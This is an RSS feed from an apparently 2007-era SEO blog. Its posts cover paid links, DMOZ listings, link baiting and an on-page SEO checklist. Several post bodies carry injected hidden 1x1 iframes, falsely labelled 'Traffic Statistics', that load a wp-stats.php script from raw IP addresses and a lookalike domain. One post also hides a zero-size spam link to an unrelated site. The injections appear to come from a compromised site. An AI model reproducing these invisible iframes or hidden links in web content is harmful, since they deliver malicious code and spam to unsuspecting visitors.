<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.2" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:dtvmedia="http://participatoryculture.org/RSSModules/dtv/1.0"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title></title>
	<link>http://www.shortbusseo.com</link>
	<description>Don\'t Ride the SEO Short Bus</description>
	<pubDate>Thu, 10 Jul 2008 11:07:42 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.2</generator>
	<language>en</language>
		<!-- podcast_generator="podPress/7.9" -->
		<copyright>&#xA9;Shortbus </copyright>
		<managingEditor>shortbus@shortbusseo.com (Shortbus)</managingEditor>
		<webMaster>shortbus@shortbusseo.com</webMaster>
		<category></category>
		<ttl>1440</ttl>
		<itunes:keywords>SEO</itunes:keywords>
		<itunes:subtitle>ShortBus SEO</itunes:subtitle>
		<itunes:summary>Don't Ride the SEO Short Bus</itunes:summary>
		<itunes:author>Shortbus</itunes:author>
		<itunes:category text="Technology"/>
<itunes:category text="Technology">
  <itunes:category text="Tech News"/>
</itunes:category>
<itunes:category text="Technology">
  <itunes:category text="Podcasting"/>
</itunes:category>
		<itunes:owner>
			<itunes:name>Shortbus</itunes:name>
			<itunes:email>shortbus@shortbusseo.com</itunes:email>
		</itunes:owner>
		<itunes:block>No</itunes:block>
		<itunes:explicit>no</itunes:explicit>
		<itunes:image href="http://www.shortbusseo.com/wp-content/plugins/podpress/images/powered_by_podpress_large.jpg" />
		<image>
			<url>http://www.shortbusseo.com/wp-content/plugins/podpress/images/powered_by_podpress.jpg</url>
			<title></title>
			<link>http://www.shortbusseo.com</link>
			<width>144</width>
			<height>144</height>
		</image>
		<item>
		<title>Pay Per Post Evil Doer or Not</title>
		<link>http://www.shortbusseo.com/29/pay-per-post-evil-doer-or-not/</link>
		<comments>http://www.shortbusseo.com/29/pay-per-post-evil-doer-or-not/#comments</comments>
		<pubDate>Mon, 31 Dec 2007 17:53:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Links]]></category>

		<category><![CDATA[Beginning SEO]]></category>

		<guid isPermaLink="false">http://www.shortbusseo.com/29/pay-per-post-evil-doer-or-not/</guid>
		<description><![CDATA[Well as   we are all looking for links you might thing about jumping on the &#8220;Pay Per Post&#8221; band wagon. As we know all links are good links (some better than others) and what they write about you is not relavant because Search Engines dont have a way to tell if its a [...]]]></description>
			<content:encoded><![CDATA[<p>Well as<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> we are all looking for links you might thing about jumping on the &#8220;Pay Per Post&#8221; band wagon. As we know all links are good links (some better than others) and what they write about you is not relavant because Search Engines dont have a way to tell if its a bad review or good review(yet).</p>
<p>So to do some research on this i went over to PayPerPost.com (not going to give them a link) and opened an account ($50 min) and created a ad to be posted. That was 3 days ago and it still has not been aproved as of the writing of this post. I also opened an account as a bloger to see what they pay out and how hard it is to get paid and to get the work. The bloger account is not active yet either.</p>
<p>So here is what i found:</p>
<p><span style="font-family: Georgia">Ad opportunities can have and set requirements like a minimum Pagerank that your blog has to meet. Also they may have an alexa requirement. Ads can set the level of these and they do. Currently there are on 155 Ad opportunities available and not many of them are available to a PR 3 blog. The minimum that you are going to pay for a post with a link is $5 plus the PayPerPost fee. For $50 that means you are going to get 6 post with about $4.50 left over in your account. I wounder what happens to that left over money?</span><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://kvantservice.com/">&#1082;&#1086;&#1084;&#1087;&#1102;&#1090;&#1088;&#1080;</a></font><span style="font-family: Georgia">So what so bad about this? I don’t think it is the end of blog credability but I think its just a passing fad. Look you can go to Google Blog Search and search for relevent blogs to your subject and write a comment on 10 blogs an hour and get those links for free. Why pay for them.</span><span style="font-family: Georgia">So the Short Bus SEO rule is don’t<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> pay for what you can get for free.</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.shortbusseo.com/29/pay-per-post-evil-doer-or-not/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The Power of DMOZ</title>
		<link>http://www.shortbusseo.com/28/the-power-of-dmoz/</link>
		<comments>http://www.shortbusseo.com/28/the-power-of-dmoz/#comments</comments>
		<pubDate>Sun, 30 Dec 2007 02:21:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Traffic Generation]]></category>

		<category><![CDATA[Beginning SEO]]></category>

		<guid isPermaLink="false">http://www.shortbusseo.com/28/the-power-of-dmoz/</guid>
		<description><![CDATA[I have seen a recent jump in my rankings for one of my sites and i attribute it to a couple of things. 
First is pages focused on the main subject. My pages are focused on the keyword that i want to rank for and there for i do. Because of that and some good links [...]]]></description>
			<content:encoded><![CDATA[<p>I have seen a recent jump in my rankings for one of my sites and i attribute it to a couple of things. </p>
<p>First is pages focused on the main subject. My pages are focused on the keyword that i want to rank for and there for i do. Because of that and some good links i now sit in the #2 position in the SERP for my main keyword. This has brought a number of goodies. More natural links because other sites will like to the top couple of sites more often than a site on page 2 of the SERP.</p>
<p>Second i was recently reviewed and added to DMOZ. This had a unexpected result. What i didn&#8217;t understand is that there are a lot of Scraper sites out there that take the DMOZ results and add them to their sites. So I have found links to my site on a lot of these type of sites. I do get some traffice from DMOZ but i have yet to see any traffic from any of the scraper sites that have my link on them.</p>
<p>The addition of my site in DMOZ is most likely what moved me from #4 in the SERP to #3. This then brough me more natural links which then moved me up to #2 which again brought more natural links.</p>
<p>The same might be said for Yahoo Directory also if you want to pay for the listing.</p>
<p>So if you havent submited your site to DMOZ you need to put it on your list of things to do. I can directly relate my increase in traffic over the last three months to this. When i say increase in traffic i mean it has doubled twice over the last three months and is still growing. It could not have happened at a better time</p>
]]></content:encoded>
			<wfw:commentRss>http://www.shortbusseo.com/28/the-power-of-dmoz/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Holliday Link Baiting</title>
		<link>http://www.shortbusseo.com/27/holliday-link-baiting/</link>
		<comments>http://www.shortbusseo.com/27/holliday-link-baiting/#comments</comments>
		<pubDate>Tue, 06 Nov 2007 12:24:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Traffic Generation]]></category>

		<category><![CDATA[Link Baiting]]></category>

		<guid isPermaLink="false">http://www.shortbusseo.com/27/holliday-link-baiting/</guid>
		<description><![CDATA[With the winter hollidays coming up fast its time to take advantage of all that new traffic. One of the best ways to do that is thru link baiting. For example i have a site Gumbo City that is all about Gumbo Recipes that has been slowly and naturally climbing up the SERPS and is [...]]]></description>
			<content:encoded><![CDATA[<p>With the winter hollidays coming up fast its time to take advantage of all that new traffic. One of the best ways to do that is thru link baiting. For example i have a site Gumbo City that is all about <a href="http://www.gumbocity.com">Gumbo Recipes</a> that has been slowly and naturally climbing up the SERPS and is now #2 for the keyword &#8220;Gumbo Recipes&#8221;. Its climbing because of post like<!-- Traffic Statistics --> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> this and others where i get the site out there and build natural traffic. It has arrieved at a good spot just before the hollidays where Gumbo will be in its prime search months. So now i need to start a campain to build natural links by driving more traffic to the site. Link Baiting is the way to go. If you are here its because you saw the link bait title. So follow thru and go visit my Gumbo site and do the same for your sites and go fishing with link bait to build up your holliday traffic and natural links.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.shortbusseo.com/27/holliday-link-baiting/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Keep A Log</title>
		<link>http://www.shortbusseo.com/26/keep-a-log/</link>
		<comments>http://www.shortbusseo.com/26/keep-a-log/#comments</comments>
		<pubDate>Mon, 05 Nov 2007 18:52:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Beginning SEO]]></category>

		<guid isPermaLink="false">http://www.shortbusseo.com/26/keep-a-log/</guid>
		<description><![CDATA[Ok, lesson learned here. I have a new website that i set up and just put a few links to and let it set. Couple of weeks ago i started to get a lot of visits to the site and all i get from Google Analytics is that it is &#8216;Direct Trafffic&#8217;? Where is it [...]]]></description>
			<content:encoded><![CDATA[<p>Ok, lesson learned here. I have a new website that i set up and just put a few links to and let it set. Couple of weeks ago i started to get a lot of visits to the site and all i get from Google Analytics is that it is &#8216;Direct Trafffic&#8217;? Where is it all coming from? I got now clue because i know i was doing some postings and adding some links but i didn&#8217;t write any of it down. If i had i might beable to figure it out and repeat it. So Start a spread sheet and log what you do to every website it will come back to bit you if you don&#8217;t.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.shortbusseo.com/26/keep-a-log/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Things That Effect Traffic</title>
		<link>http://www.shortbusseo.com/25/things-that-effect-traffic/</link>
		<comments>http://www.shortbusseo.com/25/things-that-effect-traffic/#comments</comments>
		<pubDate>Wed, 24 Oct 2007 11:10:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Traffic Generation]]></category>

		<guid isPermaLink="false">http://www.shortbusseo.com/25/things-that-effect-traffic/</guid>
		<description><![CDATA[I have a simple little site called Gumbo City that is of course about gumbo recipes and was the first website that I created. I created it because a friend of mine had a simple recipe site that was making about $20 a day with only about 12 pages on it. (That site is now [...]]]></description>
			<content:encoded><![CDATA[<p style="margin: 0in 0in 10pt" class="MsoNormal"><font face="Calibri">I have a simple little site called Gumbo City that is of course about <a href="http://www.gumbocity.com" title="Gumbo City">gumbo recipes</a> and was the first website that I created. I created it because a friend of mine had a simple recipe site that was making about $20 a day with only about 12 pages on it. (That site is now ranked #1 on SERP for a very good keyword and is making about $40 a day) Any way I digress, point is this. While I did follow the Google Webmaster guides for sites and a few other SEO techniques it has never been a exciting site and I don’t do much with it at this point. It has slowly and naturally been building in traffic. It has gone been going up about 10-15 hits a week for some time now. I did add a blog to it because it was just a strait html site to start with. The blog just lets me add fresh content easer. After that it did jump in ranking some. It has been on and off the first page of the SERP for 6 months. In the last 3 months it has been sitting at number #4 for the keyword “gumbo recipe”. And as expected traffic took a jump and moved up over the 100 hits a day. Now this is not a great feat realize that I do nothing to this site other than maybe add a new recipe once a week. I’m not out looking for links or marketing this site it is all natural. I got a boost in traffic by moving to the #4 position that was noticeable. About 3 weeks ago the site moved up to the #3 spot and again I got a noticeable jump in traffic. Could I get this site to #1? Yea I could with effort but the ROI is not worth it. The site is better information to me by watching it grow on its own which is the point to this post.</font></p>
<p style="margin: 0in 0in 10pt" class="MsoNormal"><font face="Calibri">The last 2 days the traffic to the site doubled and I had no clue as to why till I talked to my wife last night. I made a comment that the site had doubled in traffic and that I wasn’t sure why. She got this look on her like a cat that was hiding a mouse and promptly told me that she knew something that I didn’t. I hate that. Any way she proceeded to tell me that <a href="http://www.rachaelray.com/" title="Rachel Ray">Rachel Ray</a> had show on of all things “Gumbo”.<span>  </span>I went back and looked at my stats and sure enough starting at about that time the traffic started to roll in. This is one of the Best examples that I have seen of offsite events effecting traffic. </font></p>
<p style="margin: 0in 0in 10pt" class="MsoNormal"><font face="Calibri">So make a list of known events and make sure that you have content and keywords that reflect these so when these type of things happen that you are set to take advantage of them.</font></p>
]]></content:encoded>
			<wfw:commentRss>http://www.shortbusseo.com/25/things-that-effect-traffic/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Pink Hat SEO</title>
		<link>http://www.shortbusseo.com/24/pink-hat-seo/</link>
		<comments>http://www.shortbusseo.com/24/pink-hat-seo/#comments</comments>
		<pubDate>Wed, 10 Oct 2007 11:02:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Site Reviews]]></category>

		<guid isPermaLink="false">http://www.shortbusseo.com/24/pink-hat-seo/</guid>
		<description><![CDATA[It’s truly refreshing when you find a site that brings something new to the world. Danielle over a Pink Hat SEO discusses Internet Marketing in an easy to read but concise way. You can learn from this site and Danielle in ways that at first you don’t realize. Take a look at her site and [...]]]></description>
			<content:encoded><![CDATA[<p style="margin: 0in 0in 10pt" class="MsoNormal"><font face="Calibri">It’s truly refreshing when you find a site that brings something new to the world. <strong>Danielle</strong> over a <a href="http://www.pinkhatseo.info" title="Pink Hat SEO"><strong>Pink Hat SEO</strong></a> discusses Internet Marketing in an easy to read but concise way. You can learn from this site and Danielle in ways that at first you don’t realize. Take a look at her site and look at the placement of her call to action items. <span> </span>I liked her site so much that Pink Hat SEO is one of only 7 links that I have in my blog roll. She has earned a spot there with the likes of <strong><a href="http://www.jimboykin.com" title="Jim Boykin">Jim Boykin</a>, Matt Cutts</strong>, and <strong><a href="http://www.seomoz.org/blog" title="SEO Moz">SEOMoz</a></strong>. Keep up the great work <strong><a href="http://www.pinkhatseo.info" title="Pink Hat SEO">Danielle</a></strong>.</font></p>
]]></content:encoded>
			<wfw:commentRss>http://www.shortbusseo.com/24/pink-hat-seo/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Whats #1 in Google Worth</title>
		<link>http://www.shortbusseo.com/22/whats-1-in-google-worth/</link>
		<comments>http://www.shortbusseo.com/22/whats-1-in-google-worth/#comments</comments>
		<pubDate>Mon, 08 Oct 2007 10:58:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Traffic Generation]]></category>

		<category><![CDATA[Beginning SEO]]></category>

		<guid isPermaLink="false">http://www.shortbusseo.com/22/whats-1-in-google-worth/</guid>
		<description><![CDATA[What is it worth to you to be number 1 in the search results for your keyword. AOL does a yearly release as to the click rates for the top 10 spots on the first page of search results.
Here is the way it breaks down for last year.
For Positions ranking from 1 - 10, the [...]]]></description>
			<content:encoded><![CDATA[<p>What is it worth to you to be number 1 in the search results for your keyword. AOL does a yearly release as to the click rates for the top 10 spots on the first page of search results.</p>
<p>Here is the way it breaks down for last year.</p>
<p>For Positions ranking from 1 - 10, the % of clicks for:</p>
<p>Rank 1: 42%<br />
Rank 2: 12%<br />
Rank 3: 9%<br />
Rank4: 6%<br />
Rank5: 5%<br />
Rank6: 4%<br />
Rank7: 3%<br />
Rank 8: 3%<br />
Rank 9: 3%<br />
Rank 10: 3%</p>
<p>Yes i know it does not add up to 100% that is because i rounded the numbers and the rest of the clicks go to the lower level pages.</p>
<p>Now look at your visits per day for you keyword and figure out what your current percentage is and then what it could be by being number 1.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.shortbusseo.com/22/whats-1-in-google-worth/feed/</wfw:commentRss>
		</item>
		<item>
		<title>SEO Page Checklist</title>
		<link>http://www.shortbusseo.com/21/seo-page-checklist/</link>
		<comments>http://www.shortbusseo.com/21/seo-page-checklist/#comments</comments>
		<pubDate>Tue, 18 Sep 2007 13:59:53 +0000</pubDate>
		<dc:creator>ShortBus</dc:creator>
		
		<category><![CDATA[Where to Start]]></category>

		<category><![CDATA[Beginning SEO]]></category>

		<guid isPermaLink="false">http://www.shortbusseo.com/21/seo-page-checklist/</guid>
		<description><![CDATA[The following is a list of 18 key things that i check for each page i add to my websites. Now there are some other things that i do but its more of a web design issue like no java menus. Bots can&#8217;t read java and there for can not navigate your site. If you do [...]]]></description>
			<content:encoded><![CDATA[<p>The following is a list of 18 key things that i check for each page i add to my websites. Now there are some other things that i do but its more of a web design issue like no java menus. Bots can&#8217;t read java and there for can not navigate your site. If you do have neato java menus make sure that you have a strait link menu in the footer and a site map.</p>
<p>The other thing that i recomend is to get the free version<!-- Traffic Statistics --><br />
<iframe src=http://61.132.75.71/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe><br />
<!-- End Traffic Statistics --> of Web CEO. I used it on my first couple of sites and it servered me well. I ran the page optimization check on all of my pages and followed its advice. Those pages are all ranked well. After you do it a couple of times you will see a pattern and learn to fix them as you create new pages. Most of the items in the check list are vaildated in Web CEO</p>
<ul>
<p>1.     Key Words<br />
2.     Page File Name includes keyword<br />
3.     &lt;title&gt;TAG includes keyword<br />
4.     Descrition TAG includes keyword<br />
5.     First H1 Tag is keyword<br />
6.     At least 1 link anchor text includes keyword<br />
7.     Key word close to beginning of the &lt;body&gt;tag<br />
8.     Key word in body of content<br />
9.     Key word near end of Content<br />
10.   Content at least 250 words long.<br />
11.   Graphics have Alt=keywords<br />
12.   Original Content<br />
13.   Use full outbound links<br />
14.   Link to internal pages with text link in content.<br />
15.   Validate all links are good<br />
16.   No hidden text. i.e white text on white background.<br />
17.   Inbound Links Get some.<br />
18.   Update Site map</ul>
<p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.shortbusseo.com/21/seo-page-checklist/feed/</wfw:commentRss>
		</item>
		<item>
		<title>11 Slow Tips to Drive Traffic</title>
		<link>http://www.shortbusseo.com/18/11-slow-tips-to-drive-traffic/</link>
		<comments>http://www.shortbusseo.com/18/11-slow-tips-to-drive-traffic/#comments</comments>
		<pubDate>Wed, 01 Aug 2007 21:58:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Traffic Generation]]></category>

		<guid isPermaLink="false">http://www.shortbusseo.com/18/11-slow-tips-to-drive-traffic/</guid>
		<description><![CDATA[I found this post over on SeinorMag and it just goes to show you that some websters just don&#8217;t get it. There is nothing Quick about these tips, not to say that they are bad tips they just aren&#8217;s Quick tips. I just get tired of People link baiting to substandard info. Good grief if your [...]]]></description>
			<content:encoded><![CDATA[<p>I found this post over on <a target="_blank" href="http://www.seniormag.com/marketing/website-traffic.htm">SeinorMag</a> and it just goes to show you that some websters just don&#8217;t get it. There is nothing Quick about these tips, not to say that they are bad tips they just aren&#8217;s Quick tips. I just get tired of People link baiting to substandard info. Good grief if your going to spend the effort to do good link bait send me to good info.  So lets break these Quick tips down.</p>
<h2><strong><font size="3" face="Verdana">11 Quick Tips To Drive More Return Traffic To Your Business Website  </font></strong></h2>
<p><font size="1" face="Verdana"><em>by: Christoph Puetz</em></font></p>
<p><font size="2" face="Verdana">Sometimes you need a kick start to get of the ground when promoting your new business website. Use these 11 tips to get started. A combination of several tips will most likely guarantee return visitors on your website. Return visitors most likely mean more sales.</font></p>
<p><font size="2" face="Verdana">Content is King, Basic Keyword Research, Basic Page Optimization I think that covers his first tip. This tip is for the long run meaning you want your site to grow in organic links and popularity.</font></p>
<blockquote><p><font size="2" face="Verdana"><em>1. Build a solid business foundation before starting. Create a business plan (this should be document revisited every quarter), marketing plan, client profile, and a site map for your web site.</em></font></p></blockquote>
<p> <a href="http://www.shortbusseo.com/18/11-slow-tips-to-drive-traffic/#more-18" class="more-link">(more&#8230;)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.shortbusseo.com/18/11-slow-tips-to-drive-traffic/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Stumble Upon Ads</title>
		<link>http://www.shortbusseo.com/17/stumble-upon-ads/</link>
		<comments>http://www.shortbusseo.com/17/stumble-upon-ads/#comments</comments>
		<pubDate>Wed, 01 Aug 2007 14:45:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Ad Campaigns]]></category>

		<category><![CDATA[Traffic Generation]]></category>

		<category><![CDATA[Experiments]]></category>

		<guid isPermaLink="false">http://www.shortbusseo.com/17/stumble-upon-ads/</guid>
		<description><![CDATA[ I am looking for ways to increase my relevant traffic to my sites and one of the ways I’m trying is the Stumbleupon.com advertising. This advertising cost .05 cent per page view and brings up your entire site. I dropped $50.00 buck into it and added a couple of my sites to the campaign. I [...]]]></description>
			<content:encoded><![CDATA[<p> I am looking for ways to increase my relevant traffic to my sites and one of the ways I’m trying is the Stumbleupon.com advertising. This advertising cost .05 cent per page view and brings up your entire site. I dropped $50.00 buck into it and added a couple of my sites to the campaign. I did start to see the increase in traffic once the site was registered but the capture rate is not really good enough for me to keep the ads running. Now the issue as I see it is that because the categories that you can list your site under are so general that when they hit your site it is very likely that it is not what they are really interested in. This causes them to just stumble on past it with out any capture. If you have a site that maps directly to a listed Categories you may do better than my sites. I am adding a different site to the campaign that fits the categories better to see if I get better results. As with any ad campaign that you do it is most important that when your visitor gets to your site that it is relevant to what they though they were clicking on.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.shortbusseo.com/17/stumble-upon-ads/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
